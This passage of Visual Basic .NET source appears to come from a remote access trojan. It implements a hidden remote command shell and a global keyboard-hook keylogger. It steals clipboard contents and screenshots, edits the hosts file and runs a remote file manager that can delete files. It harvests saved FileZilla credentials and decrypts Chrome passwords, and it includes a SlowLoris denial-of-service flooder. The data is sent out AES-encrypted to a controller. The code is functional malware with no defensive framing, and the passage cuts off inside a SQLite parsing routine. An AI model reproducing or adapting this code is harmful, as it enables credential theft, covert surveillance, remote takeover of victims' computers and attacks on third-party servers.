1225 | Dim myEncoderParameter As New System.Drawing.Imaging.EncoderParameter(myEncoder, 100L) | |
1226 | myEncoderParameters.Param(0) = myEncoderParameter | |
1227 | bmp1.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\thumb.jpg", jgpEncoder, myEncoderParameters) | |
1228 | Send(AES_Encrypt("ThumbNail" & Convert.ToBase64String(IO.File.ReadAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\thumb.jpg")), enckey)) | |
1229 | IO.File.Delete(My.Computer.FileSystem.SpecialDirectories.Temp & "\thumb.jpg") | |
1230 | Catch | |
1231 | End Try | |
1232 | End Sub | |
1233 | #End Region | |
1234 | #Region "Miscellaneous" | |
1235 | Sub loadhostsfile() | |
1236 | Try | |
1237 | Send(AES_Encrypt("HostsFile" & IO.File.ReadAllText("C:\Windows\system32\drivers\etc\hosts"), enckey)) | |
1238 | Catch | |
1239 | End Try | |
1240 | End Sub | |
1241 | Sub savehostsfile(ByVal txt As String) | |
1242 | Try | |
1243 | IO.File.WriteAllText("C:\Windows\system32\drivers\etc\hosts", txt) | |
1244 | Catch | |
1245 | End Try | |
1246 | End Sub | |
1247 | Sub getclipboardimage() | |
1248 | Try | |
1249 | If My.Computer.Clipboard.ContainsImage() Then | |
1250 | Dim img As New PictureBox | |
1251 | img.Image = My.Computer.Clipboard.GetImage() | |
1252 | img.Image.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\cp.jpg") | |
1253 | Else | |
1254 | Dim Bmp As New System.Drawing.Bitmap(397, 187, Imaging.PixelFormat.Format32bppPArgb) | |
1255 | Bmp.SetResolution(397, 187) | |
1256 | Dim G As System.Drawing.Graphics = Graphics.FromImage(Bmp) | |
1257 | G.Clear(Color.White) | |
1258 | G.InterpolationMode = Drawing2D.InterpolationMode.HighQualityBicubic | |
1259 | G.SmoothingMode = Drawing2D.SmoothingMode.AntiAlias | |
1260 | G.TextRenderingHint = Drawing.Text.TextRenderingHint.AntiAlias | |
1261 | Dim F As New Font("Arial", 3) | |
1262 | Dim B As New SolidBrush(Color.Red) | |
1263 | G.DrawString("The Clipboard does not have any Images!", F, B, 12, 12) | |
1264 | ||
1265 | Bmp.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\cp.jpg") | |
1266 | End If | |
1267 | ||
1268 | Send(AES_Encrypt("CPImage" & Convert.ToBase64String(IO.File.ReadAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\cp.jpg")), enckey)) | |
1269 | IO.File.Delete(My.Computer.FileSystem.SpecialDirectories.Temp & "\cp.jpg") | |
1270 | Catch | |
1271 | End Try | |
1272 | End Sub | |
1273 | Sub getclipboardtext() | |
1274 | Try | |
1275 | If My.Computer.Clipboard.ContainsText() = True Then | |
1276 | Send(AES_Encrypt("CPText" & My.Computer.Clipboard.GetText(), enckey)) | |
1277 | End If | |
1278 | Catch | |
1279 | End Try | |
1280 | End Sub | |
1281 | Sub setclipboardtext(ByVal text As String) | |
1282 | Try | |
1283 | My.Computer.Clipboard.SetText(text) | |
1284 | Catch | |
1285 | End Try | |
1286 | End Sub | |
1287 | Sub runshell(cmd As String) | |
1288 | Try | |
1289 | Dim p As New System.Diagnostics.Process | |
1290 | Dim i As New System.Diagnostics.ProcessStartInfo("cmd") | |
1291 | i.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden | |
1292 | i.Arguments = "/C " & cmd | |
1293 | i.RedirectStandardOutput = True | |
1294 | i.UseShellExecute = False | |
1295 | i.CreateNoWindow = True | |
1296 | i.ErrorDialog = False | |
1297 | p.StartInfo = i | |
1298 | p.Start() | |
1299 | Dim output As String = p.StandardOutput.ReadToEnd | |
1300 | ||
1301 | Send(AES_Encrypt("Shell" & output, enckey)) | |
1302 | Catch | |
1303 | End Try | |
1304 | End Sub | |
1305 | #End Region | |
1306 | #Region "Keylogger" | |
1307 | Private Function GetActiveWindowTitle() As String | |
1308 | Dim MyStr As String | |
1309 | MyStr = New String(Chr(0), 100) | |
1310 | GetWindowText(GetForegroundWindow, MyStr, 100) | |
1311 | MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1) | |
1312 | Return MyStr | |
1313 | End Function | |
1314 | Private Sub logger_Down(Key As String) Handles logger.Down | |
1315 | Call APPU() | |
1316 | logs &= Key | |
1317 | End Sub | |
1318 | Sub APPU() | |
1319 | If strin <> GetActiveWindowTitle() Then | |
1320 | logs = logs & vbCrLf & vbCrLf & "[" & My.Computer.Clock.LocalTime.Date & " " & My.Computer.Clock.LocalTime.Hour & ":" & My.Computer.Clock.LocalTime.Minute & ":" & My.Computer.Clock.LocalTime.Second & " | " & GetActiveWindowTitle() & "]" + vbNewLine & vbNewLine | |
1321 | strin = GetActiveWindowTitle() | |
1322 | End If | |
1323 | End Sub | |
1324 | #End Region | |
1325 | Function FileZilla() As Object | |
1326 | Try | |
1327 | Dim O As String() = Split(IO.File.ReadAllText(Environ("APPDATA") & "\FileZilla\recentservers.xml"), "<Server>") | |
1328 | Dim OL As String = Nothing | |
1329 | ||
1330 | For Each u As String In O | |
1331 | Dim UU() As String = Split(u, vbNewLine) | |
1332 | For Each I As String In UU | |
1333 | If I.Contains("<Host>") Then | |
1334 | OL += Split(Split(I, "<Host>")(1), "</Host>")(0) | |
1335 | End If | |
1336 | If I.Contains("<Port>") Then | |
1337 | OL += ":" & Split(Split(I, "<Port>")(1), "</Port>")(0) & "|FileZilla" | |
1338 | End If | |
1339 | If I.Contains("<User>") Then | |
1340 | OL += "|" & Split(Split(I, "<User>")(1), "</User>")(0) | |
1341 | End If | |
1342 | If I.Contains("<Pass>") Then | |
1343 | OL += "|" & Split(Split(I, "<Pass>")(1), "</Pass>")(0) & vbCrLf | |
1344 | End If | |
1345 | Next | |
1346 | Next | |
1347 | Return OL | |
1348 | Catch | |
1349 | Return "" | |
1350 | End Try | |
1351 | End Function | |
1352 | #Region "FileManager" | |
1353 | Sub listdrives() | |
1354 | Try | |
1355 | Dim drives As String = String.Empty | |
1356 | For Each drive As IO.DriveInfo In IO.DriveInfo.GetDrives | |
1357 | Dim ltr As String = drive.Name | |
1358 | If drive.IsReady AndAlso drive.VolumeLabel <> "" Then | |
1359 | Else | |
1360 | End If | |
1361 | drives += ltr & "|" | |
1362 | Next | |
1363 | Send(AES_Encrypt("Drives" & drives, enckey)) | |
1364 | Catch | |
1365 | End Try | |
1366 | End Sub | |
1367 | Sub showfiles(path As String) | |
1368 | Try | |
1369 | listviewfiles.Items.Clear() | |
1370 | curntdir2 = "" | |
1371 | For Each Dir As String In Directory.GetDirectories(path) | |
1372 | Dir = Dir.Replace(path, "") | |
1373 | Dim d As New DirectoryInfo(path & Dir & "\") | |
1374 | With listviewfiles.Items.Add(Dir, 0) | |
1375 | .SubItems.Add(d.CreationTime) | |
1376 | .SubItems.Add(d.LastAccessTime) | |
1377 | .SubItems.Add("") | |
1378 | .SubItems.Add("1") | |
1379 | End With | |
1380 | Next | |
1381 | ||
1382 | Dim file As String | |
1383 | file = Dir$(path) | |
1384 | Do While Len(file) | |
1385 | Dim f As New FileInfo(path & file) | |
1386 | With listviewfiles.Items.Add(file) | |
1387 | .SubItems.Add(f.CreationTime) | |
1388 | .SubItems.Add(f.LastAccessTime) | |
1389 | .SubItems.Add(Format((f.Length / 1024) / 1024, "###,###,##0.00") & " MB") | |
1390 | .SubItems.Add("0") | |
1391 | End With | |
1392 | file = Dir$() | |
1393 | Loop | |
1394 | curntdir2 = path | |
1395 | ||
1396 | Dim Items As String = curntdir2 & "|" | |
1397 | For Each item As ListViewItem In listviewfiles.Items | |
1398 | Items = Items & item.Text & "|" & item.SubItems(1).Text & "|" & item.SubItems(2).Text & "|" & item.SubItems(3).Text & "|" & item.SubItems(4).Text & vbNewLine | |
1399 | Next | |
1400 | Items = Items.Trim | |
1401 | ||
1402 | Send(AES_Encrypt("FileManagerFiles" & Items, enckey)) | |
1403 | Catch | |
1404 | End Try | |
1405 | End Sub | |
1406 | Sub createnewdirectory(ByVal path As String) | |
1407 | Try | |
1408 | My.Computer.FileSystem.CreateDirectory(path) | |
1409 | Catch | |
1410 | End Try | |
1411 | End Sub | |
1412 | Sub deletedirectory(ByVal path As String) | |
1413 | Try | |
1414 | My.Computer.FileSystem.DeleteDirectory(path, FileIO.DeleteDirectoryOption.DeleteAllContents) | |
1415 | Catch | |
1416 | End Try | |
1417 | End Sub | |
1418 | Sub renamedirectory(ByVal path As String, ByVal newname As String) | |
1419 | Try | |
1420 | My.Computer.FileSystem.RenameDirectory(path, newname) | |
1421 | Catch | |
1422 | End Try | |
1423 | End Sub | |
1424 | Sub movedirectory(ByVal oldpath As String, ByVal newpath As String, ByVal name As String) | |
1425 | Try | |
1426 | My.Computer.FileSystem.MoveDirectory(oldpath, newpath & name, True) | |
1427 | Catch | |
1428 | End Try | |
1429 | End Sub | |
1430 | Sub copydirectory(ByVal oldpath As String, ByVal newpath As String, ByVal name As String) | |
1431 | Try | |
1432 | My.Computer.FileSystem.CopyDirectory(oldpath, newpath & name, True) | |
1433 | Catch | |
1434 | End Try | |
1435 | End Sub | |
1436 | Sub CreateNewFile(ByVal txt As String) | |
1437 | Try | |
1438 | txt = txt.Replace("mkfile", "") | |
1439 | Dim path As String = txt.Split("|")(0) | |
1440 | Dim content As String = txt.Split("|")(1) | |
1441 | IO.File.WriteAllText(path, content) | |
1442 | Catch | |
1443 | End Try | |
1444 | End Sub | |
1445 | Sub deletefile(ByVal path As String) | |
1446 | Try | |
1447 | My.Computer.FileSystem.DeleteFile(path, FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently) | |
1448 | Catch | |
1449 | End Try | |
1450 | End Sub | |
1451 | Sub renamefile(ByVal path As String, ByVal newname As String) | |
1452 | Try | |
1453 | My.Computer.FileSystem.RenameFile(path, newname) | |
1454 | Catch | |
1455 | End Try | |
1456 | End Sub | |
1457 | Sub movefile(ByVal oldpath As String, ByVal newpath As String, ByVal name As String) | |
1458 | Try | |
1459 | My.Computer.FileSystem.MoveFile(oldpath, newpath & name, True) | |
1460 | Catch | |
1461 | End Try | |
1462 | End Sub | |
1463 | Sub copyfile(ByVal oldpath As String, ByVal newpath As String, ByVal name As String) | |
1464 | Try | |
1465 | My.Computer.FileSystem.CopyFile(oldpath, newpath & name, True) | |
1466 | Catch | |
1467 | End Try | |
1468 | End Sub | |
1469 | Sub sharefile(ByVal filepath As String) | |
1470 | Dim file As String = Convert.ToBase64String(IO.File.ReadAllBytes(filepath)) | |
1471 | Send(AES_Encrypt("IncomingFile" & file, enckey)) | |
1472 | End Sub | |
1473 | #End Region | |
1474 | End Class | |
1475 | Public Class SlowLoris | |
1476 | Public Shared TList As New System.Collections.Generic.List(Of Thread)() | |
1477 | Public Target As String = "" | |
1478 | Public AOThreads As Integer = 50 | |
1479 | Public AOSockets As Integer = 70 | |
1480 | Dim IsFlooding As Boolean = True | |
1481 | Dim WithEvents tmrGenerateRandomData As New System.Windows.Forms.Timer | |
1482 | Dim labeldatasent As String | |
1483 | Sub Start() | |
1484 | Try | |
1485 | tmrGenerateRandomData.Start() | |
1486 | IsFlooding = True | |
1487 | For i As Integer = 0 To AOSockets - 1 | |
1488 | TList.Add((New Thread(New ThreadStart(AddressOf InitFlood)))) | |
1489 | TList(TList.Count - 1).Start() | |
1490 | Next | |
1491 | Catch | |
1492 | End Try | |
1493 | End Sub | |
1494 | Public Function GenerateChar(ByVal intLength As Integer, Optional ByVal strAllowedCharacters As String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") As String | |
1495 | Randomize() | |
1496 | Dim chrChars() As Char = strAllowedCharacters.ToCharArray | |
1497 | Dim strReturn As New StringBuilder | |
1498 | Dim grtRandom As New Random | |
1499 | Do Until Len(strReturn.ToString) = intLength | |
1500 | Dim x As Integer = Rnd() * (chrChars.Length - 1) | |
1501 | strReturn.Append(chrChars(CInt(x))) | |
1502 | Loop | |
1503 | Return strReturn.ToString | |
1504 | End Function | |
1505 | Private Sub InitFlood() | |
1506 | Dim Shocks As Socket() = New Socket(AOThreads - 1) {} | |
1507 | Dim uri As New Uri(Target) | |
1508 | For i As Integer = 0 To AOThreads - 1 | |
1509 | If Not IsFlooding Then | |
1510 | GoTo ENDLOOP | |
1511 | End If | |
1512 | Shocks(i) = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) | |
1513 | Next | |
1514 | While True | |
1515 | If Not IsFlooding Then | |
1516 | GoTo ENDLOOP | |
1517 | End If | |
1518 | For i As Integer = 0 To AOThreads - 1 | |
1519 | If Not IsFlooding Then | |
1520 | GoTo ENDLOOP | |
1521 | End If | |
1522 | If Not Shocks(i).Connected Then | |
1523 | RETRY_CONNECT: | |
1524 | If Not IsFlooding Then | |
1525 | GoTo ENDLOOP | |
1526 | End If | |
1527 | Try | |
1528 | Shocks(i) = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) | |
1529 | Shocks(i).Connect(Dns.GetHostAddresses(uri.Host)(0), 80) | |
1530 | Shocks(i).Send(System.Text.Encoding.ASCII.GetBytes("GET " & uri.PathAndQuery & _ | |
1531 | " HTTP/1.1" & vbCr & vbLf & "Host: " & uri.Host & vbCr & vbLf & "User-Agent: " & _ | |
1532 | labeldatasent & " (config: per_thread=" & AOThreads & "; aotv2=" & AOSockets & ";)" & vbCr & vbLf), SocketFlags.None) | |
1533 | Catch generatedExceptionName As Exception | |
1534 | If Not IsFlooding Then | |
1535 | GoTo ENDLOOP | |
1536 | End If | |
1537 | Thread.Sleep(1000) | |
1538 | GoTo RETRY_CONNECT | |
1539 | End Try | |
1540 | End If | |
1541 | If Not IsFlooding Then | |
1542 | GoTo ENDLOOP | |
1543 | End If | |
1544 | Next | |
1545 | If Not IsFlooding Then | |
1546 | GoTo ENDLOOP | |
1547 | End If | |
1548 | [LOOP]: | |
1549 | If Not IsFlooding Then | |
1550 | GoTo ENDLOOP | |
1551 | End If | |
1552 | Try | |
1553 | For i As Integer = 0 To AOThreads - 1 | |
1554 | If Not IsFlooding Then | |
1555 | GoTo ENDLOOP | |
1556 | End If | |
1557 | ||
1558 | Shocks(i).Send(System.Text.Encoding.ASCII.GetBytes("X-" & Randomnum(10) & ": 1" & vbCr & vbLf), SocketFlags.None) | |
1559 | Next | |
1560 | Catch ex As Exception | |
1561 | End Try | |
1562 | Thread.Sleep(4000) | |
1563 | If Not IsFlooding Then | |
1564 | GoTo ENDLOOP | |
1565 | End If | |
1566 | GoTo [LOOP] | |
1567 | End While | |
1568 | ENDLOOP: | |
1569 | For i As Integer = 0 To AOThreads - 1 | |
1570 | If Shocks(i).Connected Then | |
1571 | Shocks(i).Disconnect(False) | |
1572 | End If | |
1573 | Shocks(i) = Nothing | |
1574 | Next | |
1575 | End Sub | |
1576 | Private r As New Random(Environment.TickCount) | |
1577 | Public Function Randomnum(ByVal length As Integer) As String | |
1578 | Dim outstr As String = "" | |
1579 | For i As Integer = 0 To length - 1 | |
1580 | outstr += r.[Next](9) | |
1581 | Next | |
1582 | Return outstr | |
1583 | End Function | |
1584 | Private Sub tmrGenerateRandomData_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrGenerateRandomData.Tick | |
1585 | labeldatasent = GenerateChar(16) | |
1586 | End Sub | |
1587 | Sub StopFlood() | |
1588 | tmrGenerateRandomData.Stop() | |
1589 | IsFlooding = False | |
1590 | TList.Clear() | |
1591 | For Each t As Thread In TList | |
1592 | If t.ThreadState <> ThreadState.Stopped Then | |
1593 | Return | |
1594 | End If | |
1595 | Next | |
1596 | End Sub | |
1597 | End Class | |
1598 | Public Class Keylogger | |
1599 | Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer | |
1600 | Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer | |
1601 | Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer | |
1602 | Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer | |
1603 | Public Shared Event Down(ByVal Key As String) | |
1604 | Public Shared Event Up(ByVal Key As String) | |
1605 | Private Shared Key As Integer | |
1606 | Private Shared KHD As KDel | |
1607 | Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure | |
1608 | Public Sub CreateHook() | |
1609 | KHD = New KDel(AddressOf Proc) | |
1610 | Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0) | |
1611 | End Sub | |
1612 | ||
1613 | Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer | |
1614 | If (Code = 0) Then | |
1615 | Select Case wParam | |
1616 | Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys))) | |
1617 | Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys))) | |
1618 | End Select | |
1619 | End If | |
1620 | Return CallNextHookEx(Key, Code, wParam, lParam) | |
1621 | End Function | |
1622 | Public Sub DiposeHook() | |
1623 | UnhookWindowsHookEx(Key) | |
1624 | MyBase.Finalize() | |
1625 | End Sub | |
1626 | Private Function Feed(ByVal e As Keys) As String | |
1627 | Select Case e | |
1628 | Case 65 To 90 | |
1629 | If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then | |
1630 | Return e.ToString | |
1631 | Else | |
1632 | Return e.ToString.ToLower | |
1633 | End If | |
1634 | Case 48 To 57 | |
1635 | If (Control.ModifierKeys And Keys.Shift) <> 0 Then | |
1636 | Select Case e.ToString | |
1637 | Case "D1" : Return "!" | |
1638 | Case "D2" : Return "@" | |
1639 | Case "D3" : Return "#" | |
1640 | Case "D4" : Return "$" | |
1641 | Case "D5" : Return "%" | |
1642 | Case "D6" : Return "^" | |
1643 | Case "D7" : Return "&" | |
1644 | Case "D8" : Return "*" | |
1645 | Case "D9" : Return "(" | |
1646 | Case "D0" : Return ")" | |
1647 | End Select | |
1648 | Else | |
1649 | Return e.ToString.Replace("D", Nothing) | |
1650 | End If | |
1651 | Case 96 To 105 | |
1652 | Return e.ToString.Replace("NumPad", Nothing) | |
1653 | Case 106 To 111 | |
1654 | Select Case e.ToString | |
1655 | Case "Divide" : Return "/" | |
1656 | Case "Multiply" : Return "*" | |
1657 | Case "Subtract" : Return "-" | |
1658 | Case "Add" : Return "+" | |
1659 | Case "Decimal" : Return "." | |
1660 | End Select | |
1661 | Case 32 | |
1662 | Return " " | |
1663 | Case 186 To 222 | |
1664 | If (Control.ModifierKeys And Keys.Shift) <> 0 Then | |
1665 | Select Case e.ToString | |
1666 | Case "OemMinus" : Return "_" | |
1667 | Case "Oemplus" : Return "+" | |
1668 | Case "OemOpenBrackets" : Return "{" | |
1669 | Case "Oem6" : Return "}" | |
1670 | Case "Oem5" : Return "|" | |
1671 | Case "Oem1" : Return ":" | |
1672 | Case "Oem7" : Return """" | |
1673 | Case "Oemcomma" : Return "<" | |
1674 | Case "OemPeriod" : Return ">" | |
1675 | Case "OemQuestion" : Return "?" | |
1676 | Case "Oemtilde" : Return "~" | |
1677 | End Select | |
1678 | Else | |
1679 | Select Case e.ToString | |
1680 | Case "OemMinus" : Return "-" | |
1681 | Case "Oemplus" : Return "=" | |
1682 | Case "OemOpenBrackets" : Return "[" | |
1683 | Case "Oem6" : Return "]" | |
1684 | Case "Oem5" : Return "\" | |
1685 | Case "Oem1" : Return ";" | |
1686 | Case "Oem7" : Return "'" | |
1687 | Case "Oemcomma" : Return "," | |
1688 | Case "OemPeriod" : Return "." | |
1689 | Case "OemQuestion" : Return "/" | |
1690 | Case "Oemtilde" : Return "`" | |
1691 | End Select | |
1692 | End If | |
1693 | Case Keys.Return | |
1694 | Return Environment.NewLine | |
1695 | Case Else | |
1696 | Return "<" + e.ToString + ">" | |
1697 | End Select | |
1698 | Return Nothing | |
1699 | End Function | |
1700 | End Class | |
1701 | Module Main | |
1702 | Dim text As String | |
1703 | <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _ | |
1704 | Private Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean | |
1705 | End Function | |
1706 | Public Sub GetChrome() | |
1707 | Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data" | |
1708 | ||
1709 | Try | |
1710 | Dim SQLDatabase As Object = New SQLiteHandler(datapath) | |
1711 | SQLDatabase.ReadTable("logins") | |
1712 | ||
1713 | If File.Exists(datapath) Then | |
1714 | ||
1715 | Dim host As String | |
1716 | Dim User As String | |
1717 | Dim pass As String | |
1718 | ||
1719 | For i As Integer = 0 To SQLDatabase.GetRowCount() - 1 Step 1 | |
1720 | host = SQLDatabase.GetValue(i, "origin_url") | |
1721 | User = SQLDatabase.GetValue(i, "username_value") | |
1722 | pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value"))) | |
1723 | ||
1724 | If (User <> "") And (pass <> "") Then | |
1725 | ||
1726 | text += host & "|Chrome|" & User & "|" & pass & vbCrLf | |
1727 | ||
1728 | End If | |
1729 | Next | |
1730 | End If | |
1731 | Catch | |
1732 | End Try | |
1733 | End Sub | |
1734 | Public Function lol() As String | |
1735 | Return text | |
1736 | End Function | |
1737 | <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT | |
1738 | Public cbSize As Integer | |
1739 | Public dwPromptFlags As CryptProtectPromptFlags | |
1740 | Public hwndApp As IntPtr | |
1741 | Public szPrompt As String | |
1742 | End Structure | |
1743 | <Flags()> Enum CryptProtectPromptFlags | |
1744 | CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1 | |
1745 | CRYPTPROTECT_PROMPT_ON_PROTECT = &H2 | |
1746 | End Enum | |
1747 | Function Decrypt(ByVal Datas() As Byte) As String | |
1748 | Dim inj, Ors As New DATA_BLOB | |
1749 | Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned) | |
1750 | inj.pbData = Ghandle.AddrOfPinnedObject() | |
1751 | inj.cbData = Datas.Length | |
1752 | Ghandle.Free() | |
1753 | CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors) | |
1754 | Dim Returned() As Byte = New Byte(Ors.cbData) {} | |
1755 | Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData) | |
1756 | Dim TheString As String = Encoding.Default.GetString(Returned) | |
1757 | Return TheString.Substring(0, TheString.Length - 1) | |
1758 | End Function | |
1759 | <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB | |
1760 | Public cbData As Integer | |
1761 | Public pbData As IntPtr | |
1762 | End Structure | |
1763 | End Module | |
1764 | Public Class SQLiteHandler | |
1765 | Private db_bytes() As Byte | |
1766 | Private page_size As UInt16 | |
1767 | Private encoding As UInt64 | |
1768 | Private master_table_entries() As sqlite_master_entry | |
1769 | ||
1770 | Private SQLDataTypeSize() As Byte = New Byte() {0, 1, 2, 3, 4, 6, 8, 8, 0, 0} | |
1771 | Private table_entries() As table_entry | |
1772 | Private field_names() As String | |
1773 | ||
1774 | Private Structure record_header_field | |
1775 | Dim size As Int64 | |
1776 | Dim type As Int64 | |
1777 | End Structure | |
1778 | ||
1779 | Private Structure table_entry | |
1780 | Dim row_id As Int64 | |
1781 | Dim content() As String | |
1782 | End Structure | |
1783 | ||
1784 | Private Structure sqlite_master_entry | |
1785 | Dim row_id As Int64 | |
1786 | Dim item_type As String | |
1787 | Dim item_name As String | |
1788 | Dim astable_name As String | |
1789 | Dim root_num As Int64 | |
1790 | Dim sql_statement As String | |
1791 | End Structure | |
1792 | ||
1793 | Private Function GVL(ByVal startIndex As Integer) As Integer | |
1794 | If startIndex > db_bytes.Length Then Return Nothing | |
1795 | ||
1796 | For i As Integer = startIndex To startIndex + 8 Step 1 | |
1797 | If i > db_bytes.Length - 1 Then | |
1798 | Return Nothing | |
1799 | ElseIf (db_bytes(i) And &H80) <> &H80 Then | |
1800 | Return i | |
1801 | End If | |
1802 | Next | |
1803 | ||
1804 | Return startIndex + 8 | |
1805 | End Function | |
1806 | ||
1807 | Private Function CVL(ByVal startIndex As Integer, ByVal endIndex As Integer) As Int64 | |
1808 | endIndex = endIndex + 1 | |
1809 | ||
1810 | Dim retus(7) As Byte | |
1811 | Dim Length As Object = endIndex - startIndex | |
1812 | Dim Bit64 As Boolean = False | |
1813 | ||
1814 | If Length = 0 Or Length > 9 Then Return Nothing | |
1815 | If Length = 1 Then | |
1816 | retus(0) = (db_bytes(startIndex) And &H7F) | |
1817 | Return BitConverter.ToInt64(retus, 0) | |
1818 | End If | |
1819 | ||
1820 | If Length = 9 Then | |
1821 | Bit64 = True | |
1822 | End If | |
1823 | ||
1824 | Dim j As Integer = 1 | |
1825 | Dim k As Integer = 7 | |
1826 | Dim y As Integer = 0 | |
1827 | ||
1828 | If Bit64 Then | |
1829 | retus(0) = db_bytes(endIndex - 1) | |
1830 | endIndex = endIndex - 1 | |
1831 | y = 1 | |
1832 | End If | |
1833 | ||
1834 | For i As Integer = (endIndex - 1) To startIndex Step -1 | |
1835 | If (i - 1) >= startIndex Then | |
1836 | retus(y) = ((db_bytes(i) >> (j - 1)) And (&HFF >> j)) Or (db_bytes(i - 1) << k) | |
1837 | j = j + 1 | |
1838 | y = y + 1 | |
1839 | k = k - 1 | |
1840 | Else | |
1841 | If Not Bit64 Then retus(y) = ((db_bytes(i) >> (j - 1)) And (&HFF >> j)) | |
1842 | End If | |
1843 | Next | |
1844 | ||
1845 | Return BitConverter.ToInt64(retus, 0) | |
1846 | End Function | |
1847 | ||
1848 | Private Function IsOdd(ByVal value As Int64) As Boolean | |
1849 | Return (value And 1) = 1 | |
1850 | End Function | |
1851 | ||
1852 | Private Function ConvertToInteger(ByVal startIndex As Integer, ByVal Size As Integer) As UInt64 | |
1853 | If Size > 8 Or Size = 0 Then Return Nothing | |
1854 | ||
1855 | Dim retVal As UInt64 = 0 | |
1856 | ||
1857 | For i As Integer = 0 To Size - 1 Step 1 | |
1858 | retVal = ((retVal << 8) Or db_bytes(startIndex + i)) | |
1859 | Next | |
1860 | ||
1861 | Return retVal | |
1862 | End Function | |
1863 | ||
1864 | Private Sub ReadMasterTable(ByVal Offset As UInt64) | |
1865 | ||
1866 | If db_bytes(Offset) = &HD Then | |
1867 | ||
1868 | Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1 | |
1869 | Dim ol As Integer = 0 | |
1870 | ||
1871 | If Not master_table_entries Is Nothing Then | |
1872 | ol = master_table_entries.Length | |
1873 | ReDim Preserve master_table_entries(master_table_entries.Length + Length) | |
1874 | Else | |
1875 | ReDim master_table_entries(Length) | |
1876 | End If | |
1877 | ||
1878 | Dim ent_offset As UInt64 | |
1879 | ||
1880 | For i As Integer = 0 To Length Step 1 | |
1881 | ent_offset = ConvertToInteger(Offset + 8 + (i * 2), 2) | |
1882 | ||
1883 | If Offset <> 100 Then ent_offset = ent_offset + Offset | |
1884 | ||
1885 | Dim t As Object = GVL(ent_offset) | |
1886 | Dim size As Int64 = CVL(ent_offset, t) | |
1887 | ||
1888 | Dim s As Object = GVL(ent_offset + (t - ent_offset) + 1) | |
1889 | master_table_entries(ol + i).row_id = CVL(ent_offset + (t - ent_offset) + 1, s) | |
1890 | ||
1891 | ent_offset = ent_offset + (s - ent_offset) + 1 | |
1892 | ||
1893 | t = GVL(ent_offset) | |
1894 | s = t | |
1895 | Dim Rec_Header_Size As Int64 = CVL(ent_offset, t) | |
1896 | ||
1897 | Dim Field_Size(4) As Int64 | |
1898 | ||
1899 | For j As Integer = 0 To 4 Step 1 | |
1900 | t = s + 1 | |
1901 | s = GVL(t) | |
1902 | Field_Size(j) = CVL(t, s) | |
1903 | ||
1904 | If Field_Size(j) > 9 Then | |
1905 | If IsOdd(Field_Size(j)) Then | |
1906 | Field_Size(j) = (Field_Size(j) - 13) / 2 | |
1907 | Else | |
1908 | Field_Size(j) = (Field_Size(j) - 12) / 2 | |
1909 | End If | |
1910 | Else | |
1911 | Field_Size(j) = SQLDataTypeSize(Field_Size(j)) | |
1912 | End If | |
1913 | Next | |
1914 | ||
1915 | If encoding = 1 Then | |
1916 | master_table_entries(ol + i).item_type = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0)) | |
1917 | ElseIf encoding = 2 Then | |
1918 | master_table_entries(ol + i).item_type = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0)) | |
1919 | ElseIf encoding = 3 Then | |
1920 | master_table_entries(ol + i).item_type = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0)) | |
1921 | End If | |
1922 | If encoding = 1 Then | |
1923 | master_table_entries(ol + i).item_name = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1)) | |
